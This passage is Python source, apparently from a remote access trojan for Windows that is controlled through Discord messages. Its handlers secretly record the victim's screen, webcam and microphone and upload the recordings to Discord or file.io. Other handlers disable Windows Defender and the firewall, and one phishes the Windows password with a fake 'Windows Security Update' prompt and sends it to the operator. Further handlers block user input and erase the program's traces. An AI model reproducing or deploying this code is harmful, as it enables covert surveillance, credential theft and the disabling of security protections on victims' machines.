done = (last_line.lower().startswith(process_name.lower()))
if done == False:
await message.channel.send("[*] Command successfuly executed")
elif done == True:
await message.channel.send('[*] Command did not exucute properly')
if message.content.startswith("!recscreen"):
import cv2
import numpy as np
import pyautogui
reclenth = float(message.content[10:])
input2 = 0
while True:
input2 = input2 + 1
input3 = 0.045 * input2
if input3 >= reclenth:
break
else:
continue
import os
SCREEN_SIZE = (1920, 1080)
fourcc = cv2.VideoWriter_fourcc(*"XVID")
temp = (os.getenv('TEMP'))
videeoo = temp + r"\output.avi"
out = cv2.VideoWriter(videeoo, fourcc, 20.0, (SCREEN_SIZE))
counter = 1
while True:
counter = counter + 1
img = pyautogui.screenshot()
frame = np.array(img)
frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
out.write(frame)
if counter >= input2:
break
out.release()
import subprocess
import os
temp = (os.getenv('TEMP'))
check = temp + r"\output.avi"
check2 = os.stat(check).st_size
if check2 > 7340032:
import requests
await message.channel.send("this may take some time becuase it is over 8 MB. please wait")
boom = requests.post('https://file.io/', files={"file": open(check, "rb")}).json()["link"]
await message.channel.send("video download link: " + boom)
await message.channel.send("[*] Command successfuly executed")
os.system(r"del %temp%\output.avi /f")
else:
file = discord.File(check, filename="output.avi")
await message.channel.send("[*] Command successfuly executed", file=file)
os.system(r"del %temp%\output.avi /f")
if message.content.startswith("!reccam"):
import cv2
import numpy as np
import pyautogui
input1 = float(message.content[8:])
import cv2
import os
temp = (os.getenv('TEMP'))
vid_capture = cv2.VideoCapture(0)
vid_cod = cv2.VideoWriter_fourcc(*'XVID')
loco = temp + r"\output.mp4"
output = cv2.VideoWriter(loco, vid_cod, 20.0, (640,480))
input2 = 0
while True:
input2 = input2 + 1
input3 = 0.045 * input2
ret,frame = vid_capture.read()
output.write(frame)
if input3 >= input1:
break
else:
continue
vid_capture.release()
output.release()
import subprocess
import os
temp = (os.getenv('TEMP'))
check = temp + r"\output.mp4"
check2 = os.stat(check).st_size
if check2 > 7340032:
import requests
await message.channel.send("this may take some time becuase it is over 8 MB. please wait")
boom = requests.post('https://file.io/', files={"file": open(check, "rb")}).json()["link"]
await message.channel.send("video download link: " + boom)
await message.channel.send("[*] Command successfuly executed")
os.system(r"del %temp%\output.mp4 /f")
else:
file = discord.File(check, filename="output.mp4")
await message.channel.send("[*] Command successfuly executed", file=file)
os.system(r"del %temp%\output.mp4 /f")
if message.content.startswith("!recaudio"):
import cv2
import numpy as np
import pyautogui
import os
import sounddevice as sd
from scipy.io.wavfile import write
seconds = float(message.content[10:])
temp = (os.getenv('TEMP'))
fs = 44100
laco = temp + r"\output.wav"
myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2)
sd.wait()
write(laco, fs, myrecording)
import subprocess
import os
temp = (os.getenv('TEMP'))
check = temp + r"\output.wav"
check2 = os.stat(check).st_size
if check2 > 7340032:
import requests
await message.channel.send("this may take some time becuase it is over 8 MB. please wait")
boom = requests.post('https://file.io/', files={"file": open(check, "rb")}).json()["link"]
await message.channel.send("video download link: " + boom)
await message.channel.send("[*] Command successfuly executed")
os.system(r"del %temp%\output.wav /f")
else:
file = discord.File(check, filename="output.wav")
await message.channel.send("[*] Command successfuly executed", file=file)
os.system(r"del %temp%\output.wav /f")
if message.content.startswith("!delete"):
global statue
import time
import subprocess
import os
instruction = message.content[8:]
instruction = "del " + '"' + instruction + '"' + " /F"
def shell():
output = subprocess.run(instruction, stdout=subprocess.PIPE,shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
return output
import threading
shel = threading.Thread(target=shell)
shel._running = True
shel.start()
time.sleep(1)
shel._running = False
global statue
statue = "ok"
if statue:
numb = len(result)
if numb > 0:
await message.channel.send("[*] an error has occurred")
else:
await message.channel.send("[*] Command successfuly executed")
else:
await message.channel.send("[*] Command not recognized or no output was obtained")
statue = None
if message.content == "!disableantivirus":
import ctypes
import os
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
import subprocess
instruction = """ REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" | findstr /I /C:"CurrentBuildnumber" """
def shell():
output = subprocess.run(instruction, stdout=subprocess.PIPE,shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
return output
result = str(shell().stdout.decode('CP437'))
done = result.split()
boom = done[2:]
if boom <= ['17763']:
os.system(r"Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet")
await message.channel.send("[*] Command successfuly executed")
elif boom >= ['18362']:
os.system(r"""powershell Add-MpPreference -ExclusionPath "C:\\" """)
await message.channel.send("[*] Command successfuly executed")
else:
await message.channel.send("[*] An unknown error has occurred")
else:
await message.channel.send("[*] This command requires admin privileges")
if message.content == "!disablefirewall":
import ctypes
import os
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
os.system(r"NetSh Advfirewall set allprofiles state off")
await message.channel.send("[*] Command successfuly executed")
else:
await message.channel.send("[*] This command requires admin privileges")
if message.content.startswith("!audio"):
import os
temp = (os.getenv("TEMP"))
temp = temp + r"\audiofile.wav"
if os.path.isfile(temp):
delelelee = "del " + temp + r" /f"
os.system(delelelee)
temp1 = (os.getenv("TEMP"))
temp1 = temp1 + r"\sounds.vbs"
if os.path.isfile(temp1):
delelee = "del " + temp1 + r" /f"
os.system(delelee)
await message.attachments[0].save(temp)
temp2 = (os.getenv("TEMP"))
f5 = open(temp2 + r"\sounds.vbs", 'a')
result = """ Dim oPlayer: Set oPlayer = CreateObject("WMPlayer.OCX"): oPlayer.URL = """ + '"' + temp + '"' """: oPlayer.controls.play: While oPlayer.playState <> 1 WScript.Sleep 100: Wend: oPlayer.close """
f5.write(result)
f5.close()
os.system(r"start %temp%\sounds.vbs")
await message.channel.send("[*] Command successfuly executed")
#if adding startup n stuff this needs to be edited to that
if message.content == "!selfdestruct": #prob beter way to do dis
import inspect
import os
import sys
import inspect
uncritproc()
cmd2 = inspect.getframeinfo(inspect.currentframe()).filename
hello = os.getpid()
bat = """@echo off""" + " & " + "taskkill" + r" /F /PID " + str(hello) + " &" + " del " + '"' + cmd2 + '"' + r" /F" + " & " + r"""start /b "" cmd /c del "%~f0"& taskkill /IM cmd.exe /F &exit /b"""
temp = (os.getenv("TEMP"))
temp5 = temp + r"\delete.bat"
if os.path.isfile(temp5):
delelee = "del " + temp5 + r" /f"
os.system(delelee)
f5 = open(temp + r"\delete.bat", 'a')
f5.write(bat)
f5.close()
os.system(r"start /min %temp%\delete.bat")
if message.content == "!windowspass":
import sys
import subprocess
import os
cmd82 = "$cred=$host.ui.promptforcredential('Windows Security Update','',[Environment]::UserName,[Environment]::UserDomainName);"
cmd92 = 'echo $cred.getnetworkcredential().password;'
full_cmd = 'Powershell "{} {}"'.format(cmd82,cmd92)
instruction = full_cmd
def shell():
output = subprocess.run(full_cmd, stdout=subprocess.PIPE,shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
return output
result = str(shell().stdout.decode('CP437'))
await message.channel.send("[*] Command successfuly executed")
await message.channel.send("password user typed in is: " + result)
if message.content == "!displayoff":
import ctypes
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
import ctypes
WM_SYSCOMMAND = 274
HWND_BROADCAST = 65535
SC_MONITORPOWER = 61808
ctypes.windll.user32.BlockInput(True)
ctypes.windll.user32.SendMessageW(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2)
await message.channel.send("[*] Command successfuly executed")
else:
await message.channel.send("[!] Admin rights are required for this operation")
if message.content == "!displayon":
import ctypes
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
from pynput.keyboard import Key, Controller
keyboard = Controller()
keyboard.press(Key.esc)
keyboard.release(Key.esc)
keyboard.press(Key.esc)
keyboard.release(Key.esc)
ctypes.windll.user32.BlockInput(False)
await message.channel.send("[*] Command successfuly executed")